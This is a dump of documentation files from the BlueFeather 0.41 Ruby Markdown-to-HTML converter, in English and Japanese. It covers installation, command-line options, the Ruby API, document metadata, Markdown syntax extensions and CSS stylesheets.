If you know better about metadata, see the section of Metadata Reference.

stdin-mode

If you use stdin and stdout, specify a parameter only -. This mode is useful for pipe-line.

% bluefeather -

Command-line Options

% bluefeather --help
bluefeather - Extended Markdown Converter

Usage: bluefeather [options] file1 [file2 file3 ..]

Options:
  -e, --encoding NAME   parse input files as encoding of NAME.
                        (s[hift-jis] / e[uc-jp] / u[tf-8] / a[scii]
                         default: 'utf-8')
  -f, --format TYPE     specify format.
                        (t[ext]      => text mode
                         d[ocument]  => document mode)
      --force           write even if target files have not changed.
                        (default: only if target files have changed)
  -h, --help            show this help.
  -o, --output DIR      output files to DIR. (default: same as input file)
  -q, --quiet           no output to stderr.
      --suffix .SUF     specify suffix of output files. (default: '.html')
  -v, --verbose         verbose mode - output detail of operation.
      --version         show BlueFeather version.

Advanced Usage:
  * If specify files only '-', bluefeather read from stdin and write to stdout.


Example:
  bluefeather *.bftext *.bfdoc
  bluefeather -v --sufix .xhtml -o ../ sample.markdown
  bluefeather -

More info:
  see <http://ruby.morphball.net/bluefeather/>
%

Use in Ruby Script

Basic

Most basic method is BlueFeather.parse.

require 'bluefeather'

str = "most basic example."
puts BlueFeather.parse(str)      #=> "<p>most basic example.</p>"

And you can use BlueFeather.parse_file.

BlueFeather.parse_file('test1.txt')
BlueFeather.parse_file('test2.markdown')
BlueFeather.parse_file('test3.bftext')

Generate HTML Document

If you want a html document not html fragment, you may use parse_document or parse_document_file.

test.bfdoc
The sentence is expected as HTML.
test.rb
require 'bluefeather'

puts '-- parse_file --'
puts BlueFeather.parse_file('test.bfdoc')

puts '-- parse_document_file --'
puts BlueFeather.parse_document_file('test.bfdoc')
Result
-- parse_file --
<p>The sentence is expected as HTML.</p>

-- parse_document_file --
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>no title (Generated by BlueFeather)</title>
</head>
<body>

<p>The sentence is expected as HTML.</p>

</body>
</html>

Get document metadata

If you want to get directly metadata of document, instead of BlueFeather module method, you should use BlueFeather::Document class.

doc = BlueFeather::Document.parse(<<EOS)
Title: test document
CSS: style.css

test paragraph.
EOS

p doc['title']     # => "test document"
p doc['css']       # => "style.css"
p doc[:css]        # => "style.css"
p doc['undefined'] # => nil

p doc.body         # => "test paragraph."

to_html parses the text and generates an html document actually.

doc.to_html
bluefeather-0.41/doc/en/encoding-rule.html0000644000004100000410000000364312122140072020541 0ustar www-datawww-data Encoding Rule - BlueFeather Manual

Encoding Rule

1. Converting to html part

(converting *.bftext files, parsing by parse_text or others.)

BlueFeather doesn't specially treat. If ruby 1.8.x ealier, it is based on $KCODE value then. Else if ruby 1.9.x later, it is based on encoding which String object has.

When you use bluefeather command, it is based on -e (--encoding) option. Default is UTF-8.

2. Converting to html document

(converting *.bfdoc files, parsing by parse_document or others.)

BlueFeather uses the following order.

  1. Encoding header of document metadata (PRIMARY)
  2. Specified encoding at convert
  3. UTF-8

If you want to know about encoding header, see the Metadata reference.

You can specify encoding. If you use bluefeather command, you must use -e (--encoding) option for it. If you use with parse_document or parse_document_file, you must use 2nd argument of these methods for it.

bluefeather-0.41/doc/en/base.css0000644000004100000410000000226712122140072016545 0ustar www-datawww-databody { font-size : medium; line-height : 1.4em; margin : 3em 10%; } div.back{ text-align: right; font-size: smaller; } /* \ */ table{ font-size : 1.0em; margin-left : 1.0em; } th { border-style : outset; } /* oEi */ h1,h2,h3,h4,h5,h6 { line-height : 1.0em; } h1 { font-size : xx-large; } h2 { font-size : x-large; margin-top : 4em; } h3 { font-size : large; margin-top: 3em; } /* \bhꗗp */ h2 + h2, h3 + h3{ margin-top: 0.2em; } p { margin-left : 2em; } /* Xg */ li { margin-bottom : 0.6em; } dl { margin-left : 2.0em; } dt { font-weight : bold; } dd { margin-left : 2.0em; margin-bottom : 0.5em; } ul, ol, dl{ margin: 2.0em; } ul ul{ margin: 0.5em; } li p{ margin-left: 0.1em; } /* pׂ */ blockquote, pre{ margin-left: 3em; margin-bottom: 3em; } blockquote p{ margin-left: 0.5em; } pre { padding: 1em; } address { text-align : right; font-style: normal; } em { font-weight : bold; font-style : normal; } pre code{ margin: 0; } hr { } div.layer { padding-left : 1.5em; } div.link { font-size : 1.2em; font-weight : bold; margin-top : 2.0em; margin-left : 0.5em; }bluefeather-0.41/doc/en/basic-usage.bfdoc0000644000004100000410000001475412122140072020307 0ustar www-datawww-dataTitle: Installing and Basic Usage - BlueFeather Manual CSS: black.css Installing and Basic Usage ==== This document describes only usage of the software. If you want to know about syntax, see [Markdown Syntax Extension](format-extension.html). {toc} Install ---- Run setup.rb. Then required files will be copied and installing will be complete. % ruby setup.rb Or use RubyGems. % gem install bluefeather Use by Command-line ---- ### Basic If installing is correctly completed, you can use `bluefeather` command. This command convert Markdown text to html. bluefeather [options] file1 [file2] [file3] ... ~ % bluefeather *.bftext example1.bftext => example1.html (4240 byte) example2.bftext => example2.html (5613 byte) example3.bftext => example3.html (10499 byte) % ### Option for Forcing to Convert (`--force`) In default, `bluefeather` command converts only input files that were modified. % bluefeather example1.bftext example1.bftext => example1.html (4240 byte) % bluefeather example1.bftext % If you want to convert all files despite modified time of them, use `--force` option. % bluefeather example1.bftext example1.bftext => example1.html (4240 byte) % bluefeather --force example1.bftext example1.bftext => example1.html (4240 byte) % If you know better about other options, see the section of [Command-line Option](#commandline-options). ### Extname Switch `bluefeather` command switches by extname of an input file how generate a html file. `.md`, `.bfdoc` :generate html document others :generate html part For example, see the text. test paragraph. If this text is named '`test1.bftext`', `bluefeather` generates `test1.html` such as this.

test paragraph.

But this text is named '`test1.bfdoc`', generated html is changed. no title (Generated by BlueFeather)

test paragraph.

If the converted document is include h1 element, BlueFeather use it's content for title of html document. test2.bfdoc : Test Document ============= test paragraph. test2.html (output) : Test Document

Test Document

test paragraph.

### Document Metadata You can add *document metadata* to files which have extname `.bfdoc` or `.md` test3.bfdoc : Title: Test Document CSS: style.css Test paragraph. test3.html : Test Document

Test paragraph.

If you know better about metadata, see the section of [Metadata Reference](metadata-reference.html). ### stdin-mode If you use stdin and stdout, specify a parameter only `-`. This mode is useful for pipe-line. % bluefeather - ### Command-line Options {#commandline-options} ~~~~ % bluefeather --help bluefeather - Extended Markdown Converter Usage: bluefeather [options] file1 [file2 file3 ..] Options: -e, --encoding NAME parse input files as encoding of NAME. (s[hift-jis] / e[uc-jp] / u[tf-8] / a[scii] default: 'utf-8') -f, --format TYPE specify format. (t[ext] => text mode d[ocument] => document mode) --force write even if target files have not changed. (default: only if target files have changed) -h, --help show this help. -o, --output DIR output files to DIR. (default: same as input file) -q, --quiet no output to stderr. --suffix .SUF specify suffix of output files. (default: '.html') -v, --verbose verbose mode - output detail of operation. --version show BlueFeather version. Advanced Usage: * If specify files only '-', bluefeather read from stdin and write to stdout. Example: bluefeather *.bftext *.bfdoc bluefeather -v --sufix .xhtml -o ../ sample.markdown bluefeather - More info: see % ~~~~ Use in Ruby Script ---- ### Basic Most basic method is `BlueFeather.parse`. require 'bluefeather' str = "most basic example." puts BlueFeather.parse(str) #=> "

most basic example.

" And you can use `BlueFeather.parse_file`. BlueFeather.parse_file('test1.txt') BlueFeather.parse_file('test2.markdown') BlueFeather.parse_file('test3.bftext') ### Generate HTML Document ### If you want a html document not html fragment, you may use `parse_document` or `parse_document_file`. test.bfdoc : The sentence is expected as HTML. test.rb : require 'bluefeather' puts '-- parse_file --' puts BlueFeather.parse_file('test.bfdoc') puts '-- parse_document_file --' puts BlueFeather.parse_document_file('test.bfdoc') Result : -- parse_file --

The sentence is expected as HTML.

-- parse_document_file -- no title (Generated by BlueFeather)

The sentence is expected as HTML.

### Get document metadata ### If you want to get directly metadata of document, instead of BlueFeather module method, you should use `BlueFeather::Document` class. doc = BlueFeather::Document.parse(< "test document" p doc['css'] # => "style.css" p doc[:css] # => "style.css" p doc['undefined'] # => nil p doc.body # => "test paragraph." `to_html` parses the text and generates an html document actually. doc.to_htmlbluefeather-0.41/doc/en/author-and-license.html0000644000004100000410000000264012122140072021464 0ustar www-datawww-data Author and License - BlueFeather Manual

Author and License

BlueFeather is a free software. it is distributed by General Public License (GPL) version 2 or later. For details, see top of bluefeather.rb, and license/ directory.

If you want to send requests, comments, or bug reports to BlueFeather, please feel free to post messages from http://ruby.morphball.net/bluefeather/index_en.html or to send mail to Dice. (mailto:tetradice@gmail.com)

bluefeather-0.41/doc/en/metadata-reference.bfdoc0000644000004100000410000000032712122140072021627 0ustar www-datawww-dataTitle: Metadata Reference - BlueFeather Manual CSS: black.css (Not translated yet. see the [Japanese version](../metadata-reference.html))bluefeather-0.41/doc/en/format-extension.html0000644000004100000410000002774212122140072021316 0ustar www-datawww-data Markdown Format Extension - BlueFeather Manual

Markdown Format Extension

BlueFeather has imported some extensions addition to the original Markdown syntax.

From PHP Markdown Extra

Definition List (dl)

Pair of a term and a sentence which starts with : symbol is parsed as Definition List.

Mandarin
: Orange and sweet-sour.

Apple
: Red and sweet.
Mandarin
Orange and sweet-sour.
Apple
Red and sweet.

You can use multiple terms, multiple sentences, or both.

Mandarin
: Orange.
: Sweet-sour.

Apple
Ringo
: Red and sweet.
Mandarin
Orange.
Sweet-sour.
Apple
Ringo
Red and sweet.

And that, you can make sentences a paragraph element by blank-line, and you can append any block-level elements after the paragraph by indent.

Mandarin

: Orange and sweet-sour. Used for juice.

Apple

: Has these features.

    * Sweet
    * Red and globular
Mandarin

Orange and sweet-sour. Used for juice.

Apple

Has these features.

  • Sweet
  • Red and globular

Footnote

Such as that text, parsed as footnote.

That's some text with a footnote.[^1]

[^1]: And that's the footnote.

That's some text with a footnote.[1]

Definition of footnote can be in any places.

And that, instead of number, any ids.

That's some text with a footnote.[^ex-fn]

[^ex-fn]: And that's the footnote.

Header-id attribute

You can add header-id attribute.

Recipe {#recipe}
----

See the section of [Recipe](#recipe).
## Recipe ## {#recipe}
----

See the section of [Recipe](#recipe).

Recipe

See the section of Recipe.

Be careful, any character except line-break (LF) is NOT allowed after id.

Fenced Code Block

~~~
 A range from a line which starts with three or more tildes (~) to another
line same as it is parsed as code-block.
~~~
A range from a line which starts with three or more tildes (~) to another
line same as it is parsed as code-block.

Table

Cells separated pipe-symbol ( | ) are parsed as table. 1st line is headers. 2nd line is separators. And 3rd or later line is data.

|Name    |Color      |Number|


fcfd1dbc26fe1eb65b18b627e8ea89e8


Name Color Number
Apple Red 8
Mandarin Orange 32

Right borders and spaces is optional.

|Name    |Color      |Number


fcfd1dbc26fe1eb65b18b627e8ea89e8





bf9ccdcc0cb9c1c670dad6cbca029ad5


But, be careful, left borders is NOT optional. This behavior differs from PHP Markdown Extra.

If a colon ( : ) is at right of cell in 2nd line, the column is right-aligned. If colons are at left and right, the column is center-aligned.

|Name    |Color      |Number|


694e324b969d76dea39a1c14c8d6fe79


Name Color Number
Apple Red 8
Mandarin Orange 32

Difference from PHP Markdown Extra

  • At PHP Markdown Extra, a block-level html tag can be indented. But, at BlueFeather, a block-level html tag CANNOT be indented. (same as original Markdown)

  • PHP Markdown Extra doesn't emphasize this phrase.

    Please open the folder "secret_magic_box".
    

    But, BlueFeather emphasizes this phrase in this case. (same as original Markdown)

  • BlueFeather doesn't parse Markdown Inside HTML Blocks and Abbreviations.

  • Left borders of table is NOT optional.

BlueFeather Original

TOC

{toc} at line head is substituted table of contents. (a list of headers)

{toc}

You can specify to include levels of header.

{toc:h3..}

Default is h2 - h6.

Following formats are usable to specify levels.

{toc:h3-}    (same as previous example)
{toc:h3}     (h3 only)
{toc:h3..h4} (from h3 to h4)
{toc:..h4}   (from h2 to h4)

Be careful, Headers written by Markdown on the document root, are only included in TOC. So following headers are NOT included in TOC.

<h2>not included</h2>

> ## not included ##

Block Separator

Normally, two or more block-level elements (lists, code blocks, or others) are combined even if a blank line splits them. But, the specification is bad in that case.

1. list1 item1
2. list1 item2
3. list1 item3

1. list2 item1
2. list2 item2
3. list2 item3
<ol>
<li>list1 item1</li>
<li>list1 item2</li>
<li><p>list1 item3</p></li>
<li><p>list2 item1</p></li>
<li>list2 item2</li>
<li>list2 item3</li>
</ol>

One way for the matter, to use horizontal line.

1. list1 item1
2. list1 item2
3. list1 item3

----

1. list2 item1
2. list2 item2
3. list2 item3
<ol>
<li>list1 item1</li>
<li>list1 item2</li>
<li>list1 item3</li>
</ol>

<hr />

<ol>
<li>list2 item1</li>
<li>list2 item2</li>
<li>list2 item3</li>
</ol>

But, you might not want horizontal line in some cases. Because of the matter, at BlueFeather, only one tilde symbol works as block separator.

~

For example:

1. list1 item1
2. list1 item2
3. list1 item3

~

1. list2 item1
2. list2 item2
3. list2 item3
<ol>
<li>list1 item1</li>
<li>list1 item2</li>
<li>list1 item3</li>
</ol>

<ol>
<li>list2 item1</li>
<li>list2 item2</li>
<li>list2 item3</li>
</ol>

  1. And that's the footnote.

bluefeather-0.41/doc/en/author-and-license.bfdoc0000644000004100000410000000123312122140072021572 0ustar www-datawww-dataTitle: Author and License - BlueFeather Manual CSS: black.css Author and License ==== BlueFeather is a free software. it is distributed by General Public License (GPL) version 2 or later. For details, see top of `bluefeather.rb`, and `license/` directory. * [Wikipedia - GNU General Public License](http://en.wikipedia.org/wiki/GNU_General_Public_License) ~ If you want to send requests, comments, or bug reports to BlueFeather, please feel free to post messages from or to send mail to Dice. ()bluefeather-0.41/doc/en/difference.bfdoc0000644000004100000410000000330712122140072020206 0ustar www-datawww-dataTitle: Difference from BlueCloth - BlueFeather Manual CSS: black.css Difference from BlueCloth ==== {toc} Markdown Syntax Extension ---- BlueFeather has imported some extension of syntax from [PHP Markdown Extra][] -- definition list, table, and others. And that, BlueFeather has been added original extension -- TOC generation and block separator. See the [Markdown Syntax Extension](format-extension.html). Change of Interface ---- BlueCloth : require 'bluecloth' puts BlueCloth.new(str).to_html BlueFeather : require 'bluefeather' puts BlueFeather.parse(str) See the [Installing and Basic Usage](basic-usage.html). Generating Entire HTML Document ---- Imported by [Maruku][], BlueFeather can generate entire html document not only html fragment. And that, *document metadata* enables to specify title and URL of css-stylesheet. See the [Installing and Basic Usage](basic-usage.html) and [Metadata Reference](metadata-reference.html). Bug Fix to BlueCloth 1.0.0 ---- These bugs are fixed on BlueFeather. 1. Some Regexp is set encoding of Shift-JIS. 2. '``' is not parsed such as mailto-anchor. (ex: GMail alias charcters) 3. Link id definition indented 4-or-more spaces or tab is not parsed such as code block. 4. `
` indented 4-or-more spaces or tab is not parsed such as code block. Change of EmptyElementSuffix ---- BlueCloth output empty element tags, ``. Instead BlueFeather output ``. [Maruku]: http://maruku.rubyforge.org/ [PHP Markdown Extra]: http://michelf.com/projects/php-markdown/extra/bluefeather-0.41/doc/en/class-reference.html0000644000004100000410000000101612122140072021037 0ustar www-datawww-data Class Reference - BlueFeather Manual

(Not translated yet. see the Japanese version)

bluefeather-0.41/doc/en/class-reference.bfdoc0000644000004100000410000000031712122140072021153 0ustar www-datawww-dataTitle: Class Reference - BlueFeather Manual CSS: black.css (Not translated yet. see the [Japanese version](../class-reference.html))bluefeather-0.41/doc/en/format-extension.bfdoc0000644000004100000410000001427512122140072021424 0ustar www-datawww-dataTitle: Markdown Format Extension - BlueFeather Manual CSS: black.css Markdown Format Extension ==== BlueFeather has imported some extensions addition to the [original Markdown syntax](http://daringfireball.net/projects/markdown/). {toc} From PHP Markdown Extra ---- * If you want to know about original PHP Markdown Extra, see the . ### Definition List (dl) ### Pair of a term and a sentence which starts with `:` symbol is parsed as *Definition List.* Mandarin : Orange and sweet-sour. Apple : Red and sweet. >Mandarin >: Orange and sweet-sour. > >Apple >: Red and sweet. You can use multiple terms, multiple sentences, or both. Mandarin : Orange. : Sweet-sour. Apple Ringo : Red and sweet. >Mandarin >: Orange. >: Sweet-sour. > >Apple >Ringo >: Red and sweet. And that, you can make sentences a paragraph element by blank-line, and you can append any block-level elements after the paragraph by indent. Mandarin : Orange and sweet-sour. Used for juice. Apple : Has these features. * Sweet * Red and globular >Mandarin > >: Orange and sweet-sour. Used for juice. > >Apple > >: Has these features. > > * Sweet > * Red and globular ### Footnote ### Such as that text, parsed as *footnote*. That's some text with a footnote.[^1] [^1]: And that's the footnote. >That's some text with a footnote.[^1] [^1]: And that's the footnote. Definition of footnote can be in any places. And that, instead of number, any ids. That's some text with a footnote.[^ex-fn] [^ex-fn]: And that's the footnote. ### Header-id attribute ### You can add header-id attribute. Recipe {#recipe} ---- See the section of [Recipe](#recipe). ~ ## Recipe ## {#recipe} ---- See the section of [Recipe](#recipe). >Recipe {#recipe} >---- > >See the section of [Recipe](#recipe). Be careful, *any character except line-break (LF) is NOT allowed after id.* ### Fenced Code Block ### ~~~ A range from a line which starts with three or more tildes (~) to another line same as it is parsed as code-block. ~~~ >~~~ > A range from a line which starts with three or more tildes (~) to another >line same as it is parsed as code-block. >~~~ ### Table ### Cells separated pipe-symbol ( `\|` ) are parsed as table. 1st line is headers. 2nd line is separators. And 3rd or later line is data. |Name |Color |Number| |--------|-----------|------| |Apple |Red | 8| |Mandarin|Orange | 32| >|Name |Color |Number| >|--------|-----------|------| >|Apple |Red | 8| >|Mandarin|Orange | 32| Right borders and spaces is optional. |Name |Color |Number |--------|-----------|------ |Apple |Red |8 |Mandarin|Orange |32 |Name|Color|Number| |-|-|-| |Apple|Red|8| |Mandarin|Orange|32| But, be careful, *left borders is NOT optional.* This behavior differs from PHP Markdown Extra. If a colon ( `\:` ) is at right of cell in 2nd line, the column is right-aligned. If colons are at left and right, the column is center-aligned. |Name |Color |Number| |--------|:---------:|-----:| |Apple |Red | 8| |Mandarin|Orange | 32| >|Name |Color |Number| >|--------|:---------:|-----:| >|Apple |Red | 8| >|Mandarin|Orange | 32| ### Difference from PHP Markdown Extra ### * At PHP Markdown Extra, a block-level html tag can be indented. But, at BlueFeather, a block-level html tag CANNOT be indented. (same as original Markdown) * PHP Markdown Extra doesn't emphasize this phrase. Please open the folder "secret_magic_box". But, *BlueFeather emphasizes this phrase in this case.* (same as original Markdown) * BlueFeather doesn't parse [Markdown Inside HTML Blocks][] and [Abbreviations][]. * Left borders of table is NOT optional. BlueFeather Original ---- ### TOC ### `{toc}` at line head is substituted table of contents. (a list of headers) {toc} >{toc} You can specify to include levels of header. {toc:h3..} >{toc:h3..} Default is h2 - h6. Following formats are usable to specify levels. {toc:h3-} (same as previous example) {toc:h3} (h3 only) {toc:h3..h4} (from h3 to h4) {toc:..h4} (from h2 to h4) Be careful, Headers *written by Markdown on the document root*, are only included in TOC. So following headers are NOT included in TOC.

not included

> ## not included ## ### Block Separator ### Normally, two or more block-level elements (lists, code blocks, or others) are combined even if a blank line splits them. But, the specification is bad in that case. 1. list1 item1 2. list1 item2 3. list1 item3 1. list2 item1 2. list2 item2 3. list2 item3 ~
  1. list1 item1
  2. list1 item2
  3. list1 item3

  4. list2 item1

  5. list2 item2
  6. list2 item3
One way for the matter, to use horizontal line. 1. list1 item1 2. list1 item2 3. list1 item3 ---- 1. list2 item1 2. list2 item2 3. list2 item3 ~
  1. list1 item1
  2. list1 item2
  3. list1 item3

  1. list2 item1
  2. list2 item2
  3. list2 item3
But, you might not want horizontal line in some cases. Because of the matter, at BlueFeather, only one tilde symbol works as block separator. ~ For example: 1. list1 item1 2. list1 item2 3. list1 item3 ~ 1. list2 item1 2. list2 item2 3. list2 item3 ~
  1. list1 item1
  2. list1 item2
  3. list1 item3
  1. list2 item1
  2. list2 item2
  3. list2 item3
[PHP Markdown Extra]: http://michelf.com/projects/php-markdown/extra/ [Markdown Inside HTML Blocks]: http://michelf.com/projects/php-markdown/extra/#markdown-attr [Abbreviations]: http://michelf.com/projects/php-markdown/extra/#abbr bluefeather-0.41/doc/index.bfdoc0000644000004100000410000000273712122140072016627 0ustar www-datawww-dataCSS: black.css BlueFeather マニュアル ==== → [English version](en/index.html) (2013-02-12 バージョン 0.41 準拠) BlueFeather は、拡張 Markdown 記法で書かれたテキストを html に変換するソフトウェアです。 コマンドラインツールと、Ruby スクリプト内で変換を行うためのライブラリがセットになっています。 広く使われている Markdown 実装である [BlueCloth 1.0.0][] をベースとしつつ、既知のバグの修正やインターフェースの変更、そして記法・機能へのさまざまな拡張を施しています。 なお、このマニュアルページそのものも、 BlueFeather を用いて生成された html 文書です。変換前のテキストファイルは `doc` ディレクトリ内に同梱しています。 * [インストール・基本的な使い方](basic-usage.html) * [BlueCloth との違い](difference.html) * [Markdown 記法の拡張](format-extension.html) * [エンコーディングの取り扱い](encoding-rule.html) ~ * [クラスリファレンス](class-reference.html) * [メタデータリファレンス](metadata-reference.html) ~ * [連絡先・ライセンス](author-and-license.html) * [BlueFeather 配布サイト(http://ruby.morphball.net/bluefeather/)](http://ruby.morphball.net/bluefeather/) [BlueCloth 1.0.0]: http://www.deveiate.org/projects/BlueClothbluefeather-0.41/doc/metadata-reference.html0000644000004100000410000001421012122140072021110 0ustar www-datawww-data メタデータリファレンス - BlueFeather マニュアル

メタデータリファレンス

文書ファイル(*.bfdoc)の頭に、: 記号で区切られたキーと値の組(ヘッダー)を書いておくことで、その文書にタイトルなどの情報(メタデータ)を付け加えることができます。

Title: 文書名
CSS: style.css
Atom-Feed: info/atom.xml

ここから本文

これらの文書メタデータは、parse_documentparse_document_file などのメソッドを使って解釈したときにのみ有効です。

キー名の大文字/小文字は区別されません。

重要なメタデータ

CSS:

CSS: http://example.net/style.css

CSS スタイルシートの URL。生成される html 文書の head 要素内に、そのスタイルシートへのリンクが付け加えられる。

Encoding:

Encoding: utf-8

その文書のマルチバイトエンコーディングを表す。utf-8, euc-jp, shift_jis (shift-jis), ascii のいずれかが有効(小文字と大文字は区別しない)。 html の head 要素内に出力される Content-Type の値、および変換処理に影響する。

なお、他のヘッダーの値をマルチバイト文字列で記述する場合、 Encoding はそれらのヘッダーよりも先に記述されていなければならない。 そのため、このヘッダーは常に文書ファイルの最初に記述しておくことが推奨される。

省略された場合には、エンコーディングが UTF-8 であるものとして取り扱う。

Title:

Title: にんじんの美味しい調理法

その文書の名前(表題)。生成されるhtml文書の title 要素に、ここで指定した値が使われる。 省略された場合には、本文中にレベル1の見出し(h1)があればその内容を title 要素とし、なければ「no title」とする。

補助的なメタデータ

Atom-Feed:

RDF-Feed:

RSS-Feed:

Atom-Feed: example.xml

ニュースフィードの URL。生成される html 文書の head 要素内に、以下のようなリンクが付け加えられ、RSS リーダーなどでそのページを簡単に登録できるようになる(オートディスカバリー)。

<link rel="alternate" type="application/atom+xml" href="example.xml" />

どのヘッダー名を用いるかによって、生成される link 要素の type 属性値が異なる。 基本的には RSS 1.0 なら RDF-Feed を、RSS 2.0 なら RSS-Feed を、Atom (Atom Syndication Format) なら Atom-Feed を使うことが推奨される。

Description:

Description: 簡単にチャレンジできる、にんじんの美味しい調理法についての解説。

その文書の説明。<meta name="description" content="~"> の内容になる。

Keywords:

Keyword: にんじん,レシピ,料理

その文書を表すキーワード。<meta name="keywords" content="~"> の内容になる。

Numbering:

Numbering: yes

BlueFeather 0.30以降でのみ有効。

yes, true, on, 1のいずれかを指定すると、レベル2以降の見出し(h2~h6)に、自動で番号が振られるようになる。

使用例:

Numbering: yes

# 見出し1
## 見出し2a
## 見出し2b
### 見出し3a
### 見出し3b
## 見出し2c
<h1>見出し1</h1>
  <h2>1. 見出し2a</h2>
  <h2>2. 見出し2b</h2>
    <h3>2.1. 見出し3a</h3>
    <h3>2.2. 見出し3b</h3>
  <h2>3. 見出し2c</h2>

Numbering-Start-Level:

Numbering: yes
Numbering-Start-Level: 3

BlueFeather 0.30以降でのみ有効。

見出しへの番号付けを行うとき、どのレベルの見出しから番号付けの対象とするのかを指定する。 Numbering:ヘッダーと同時に使われているときのみ有効。

省略した場合、レベル2以降の見出し(h2~h6)が番号付けの対象になる。

bluefeather-0.41/doc/difference.html0000644000004100000410000001016012122140072017466 0ustar www-datawww-data BlueClothとの主な違い - BlueFeather マニュアル

BlueClothとの主な違い

記法の拡張

PHP Markdown Extraから多くの拡張(定義リスト、表組み、など)を取り込み、さらに目次生成や強制ブロック区切りなどの独自拡張を実装しています。 詳しくはMarkdown記法の拡張を参照してください。

インターフェースの変更

BlueCloth では、文字列を継承した BlueCloth クラスのオブジェクトを生成し、そのオブジェクトに対して to_html を呼ぶことで変換を行います。

require 'bluecloth'

puts BlueCloth.new(str).to_html

対して BlueFeather では、 BlueFeather モジュールのメソッドを直接呼んで変換を行うのが、もっとも一般的な方法です。

require 'bluefeather'

puts BlueFeather.parse(str)

また、parse_fileparse_document など、いくつかのメソッドが新設されています。 詳しくは基本的な使い方を参照してください。

完全なHTML文書の生成

Maruku から取り込んだ機能として、部分的なhtml片だけではなく、DTD宣言やhead要素まで含んだ完全なhtml文書を生成できる機能があります。 また、メタデータを記述することにより、出力されるhtml文書のタイトルや、CSSファイルのURLも指定することが可能です。

詳しくは基本的な使い方、及びメタデータリファレンスを参照してください。

BlueCloth 1.0.0 における既知のバグの修正

以下のバグの修正を行いました。

  1. 一部の正規表現に、文字コード Shift-JIS が指定されている(= Shift-JIS 以外のマルチバイト文字列を正しく扱えない)
  2. 一部の文字が含まれていると、<mailaddress@example.com> 形式の記述が mailto: リンクとして変換されない(GMailのエイリアス文字 + など)
  3. リンクID定義を、4つ以上のスペースやタブでインデントしてもコードブロックにできない
  4. 水平線(<hr />)タグを、4つ以上のスペースやタブでインデントしてもコードブロックにできない

空要素タグの閉じ方を変更

BlueCloth で <tag/> となっていた空要素タグの終端を、<tag /> に変更しました。

bluefeather-0.41/doc/black.css0000644000004100000410000000312512122140072016277 0ustar www-datawww-data@import "base.css"; body { color : #c0c0e0; background : #000000; scrollbar-3d-light-color : black; scrollbar-arrow-color : white; scrollbar-base-color : black; scrollbar-dark-shadow-color : black; scrollbar-face-color : black; scrollbar-highlight-color : #666666; scrollbar-shadow-color : gray; } strong{ color:#ffff00; } h2,h3{ border : thin outset #202070; } h2{ background : #202070; } h3{ margin-left: 0.5em; background : #101050; } h2, h3, h4{ color : #ffffff; padding : 0.2em; } h4{ margin-left: 1.0em; } pre{ border: solid thin #202070; background-color: #000000; overflow:auto; font-size: smaller; } table { border : none; } th,td { padding : 0.2em; } th { background : #303060; border : outset 1px #303060; } td{ background : #000000; border : solid 1px #404080; } th.empty,td.empty{ background : transparent; } table.clear, table.clear th, table.clear td { border : none; background : transparent; } blockquote{ color: #9999cc; border: solid 1px #669999; } hr{ border-width: 0 0; border-color: #669999; padding: 0; height: 1px; color: #669999; background-color: #669999; width: 90%; } em{ font-style: italic; } a { } a:link { color : #00ff00; } a:visited{ color : #00c800; } a:link:hover { background : green; text-decoration: none; } a:visited:hover { background : green; text-decoration: none; } input, textarea{ color : #c0c0e0; background-color : black; } BUTTON{ color: #ffffff; border : thin outset #f8f8ff; background-color : #a9a9a9; }bluefeather-0.41/doc/basic-usage.html0000644000004100000410000003134512122140072017567 0ustar www-datawww-data インストール・基本的な使い方 - BlueFeather マニュアル

インストール・基本的な使い方

この文書では、BlueFeather そのものの使い方について記述しています。 BlueFeather が解釈する Markdown 記法への独自拡張については、Markdown 記法の拡張を参照してください。

インストール

同梱の setup.rb を実行することにより、ファイルが適切な位置にコピーされ、インストールが完了します。

% ruby setup.rb

もしくは、RubyGems がインストールされていれば、インターネットに接続されたPCから次のように打ち込むことでインストールすることも可能です。

% gem install bluefeather

コマンドラインから使う

基本

インストールが正常に終了していれば、bluefeather コマンドを使って、Markdown記法で書かれたファイルを変換することができます。 インターフェースは以下の通りです。

bluefeather [options] file1 [file2] [file3] ...

たとえば、次のように入力することで、拡張子が .bftext のファイル全てをhtmlファイルに変換することができます。

% bluefeather *.bftext
example1.bftext => example1.html (4240 byte)
example2.bftext => example2.html (5613 byte)
example3.bftext => example3.html (10499 byte)
%

強制変換オプション(--force

通常 bluefeather コマンドは、入力テキストファイルが更新されていたときのみ(更新日時が新しくなっていたときのみ)変換を行います。

% bluefeather example1.bftext
example1.bftext => example1.html (4240 byte)
% bluefeather example1.bftext
%

更新日時に関わらず全てのファイルを変換したい場合には、--force オプションをつけて実行してください。

% bluefeather example1.bftext
example1.bftext => example1.html (4240 byte)
% bluefeather --force example1.bftext
example1.bftext => example1.html (4240 byte)
%

この他のオプションの種類については、この文書内のコマンドラインオプションの項を参照してください。

拡張子による出力htmlの違い

bluefeather コマンドでは、変換対象のファイルの拡張子によって、どのようなhtmlファイルを出力するかが異なります。

.md, .bfdoc
DTD宣言やhead要素などを含んだ、完全なHTML文書を生成する
それ以外
HTML片を生成する(DTD宣言やhead要素は含まない)

たとえば、次のような一文だけが書かれたテキストファイルがあるとします。

test paragraph.

このテキストファイルが test1.bftext という名前であれば、変換結果(test1.html)はこのようになります。

<p>test paragraph.</p>

しかし、もしこのファイルが test1.bfdoc という名前であれば、上記の例と異なり完全なHTML文書を生成します。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>no title (Generated by BlueFeather)</title>
</head>
<body>

<p>test paragraph.</p>

</body>
</html>

なお、このとき変換する文書にレベル1の見出しが含まれていれば、その見出しが自動的にhtml文書のtitleとして使われます。

test2.bfdoc
Test Document
=============

test paragraph.
test2.html(出力結果)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Test Document</title>
</head>
<body>

<h1 id="bfheader-a5decd745d43af4aa8cf62eef5be43ac">Test Document</h1>

<p>test paragraph.</p>

</body>
</html>

文書メタデータ

拡張子が .bfdoc.md のファイルには、文書メタデータを付け加えることが出来ます。

test3.bfdoc
Title: Test Document
CSS: style.css

Test paragraph.
test3.html
